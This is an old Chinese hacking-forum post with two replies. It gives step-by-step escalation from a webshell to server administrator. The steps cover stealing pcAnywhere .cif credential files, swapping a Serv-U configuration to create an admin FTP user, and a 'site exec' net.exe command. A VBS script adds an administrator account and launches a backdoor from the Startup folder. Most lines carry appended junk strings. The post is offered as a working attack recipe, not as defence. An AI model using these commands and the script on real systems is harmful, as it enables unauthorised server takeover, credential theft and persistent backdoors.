论坛风格切换切换到宽版
  • 663阅读
  • 2回复

经典的Webshell提权技术总结 [复制链接]

上一主题 下一主题
 
只看楼主 倒序阅读 使用道具 楼主  发表于: 2009-03-12
说到花了九牛二虎的力气获得了一个webshell,  %t*_Rtz\o  
当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~  %t*_Rtz\o  
嘻嘻~~好跟我来,看看有什么可以利用的来提升权限  %t*_Rtz\o  
****************************************************************************  %t*_Rtz\o  
第一  %t*_Rtz\o  
如果服务器上有装了pcanywhere服务端,管理员为了管理方便  %t*_Rtz\o  
也给了我们方便,到系统盘的Documents and Settings/All Us  %t*_Rtz\o  
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地  %t*_Rtz\o  
破解就使用pcanywhere连接就ok了  %t*_Rtz\o  
****************************************************************************  %t*_Rtz\o  
第二  %t*_Rtz\o  
有很多小黑问我这么把webshell的iis user权限提升  %t*_Rtz\o  
一般服务器的管理都是本机设计完毕然后上传到空间里,  %t*_Rtz\o  
那么就会用到ftp,服务器使用最多的就是servu  %t*_Rtz\o  
那么我们就利用servu来提升权限  %t*_Rtz\o  
通过servu提升权限需要servu安装目录可写~  %t*_Rtz\o  
好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载  %t*_Rtz\o  
下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,  %t*_Rtz\o  
启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限  %t*_Rtz\o  
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。  %t*_Rtz\o  
用我新建的用户和密码连接~  i]8+JG6  
好的,还是连上了  i]8+JG6  
ftp  i]8+JG6  
ftp>open ip  i]8+JG6  
Connected to ip.  i]8+JG6  
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...  i]8+JG6  
User (ip:(none)): id //刚才添加的用户  i]8+JG6  
331 User name okay, please send complete E-mail address as password.  i]8+JG6  
Password:password //密码  i]8+JG6  
230 User logged in, proceed.  i]8+JG6  
ftp> cd winnt //进入win2k的winnt目录  i]8+JG6  
250 Directory changed to /WINNT  i]8+JG6  
ftp>cd system32 //进入system32目录  i]8+JG6  
250 Directory changed to /WINNT/system32  i]8+JG6  
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe   i]8+JG6  
文件加用户。  i]8+JG6  
如果提示没有权限,那我们就  i]8+JG6  
把后门(server.exe) 传他system32目录  i]8+JG6  
然后写一个VBs教本  i]8+JG6  
set wshshell=createobject ("wscript.shell")  i]8+JG6  
a=wshshell.run ("cmd.exe /c net user user pass /add",0)  i]8+JG6  
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)  i]8+JG6  
b=wshshell.run ("cmd.exe /c server.exe",0)   i]8+JG6  
i]8+JG6  
存为xx.vbe  i]8+JG6  
这个教本的作用是建立user用户密码为pass  i]8+JG6  
并且提升为管理员  i]8+JG6  
然后执行system32目录下的server.exe  i]8+JG6  
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动  i]8+JG6  
目录  i]8+JG6  
这样管理员只要一登陆就会执行那个教本.  i]8+JG6  
接下来就是等了.等他登陆.  i]8+JG6  

只看该作者 沙发  发表于: 2009-03-12
得防着这手啊,呵呵,我的服务器应该能顶住。。
人人为我,我为人人。

只看该作者 板凳  发表于: 2009-03-12
楼主是干什么的
快速回复
限100 字节
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
 
上一个 下一个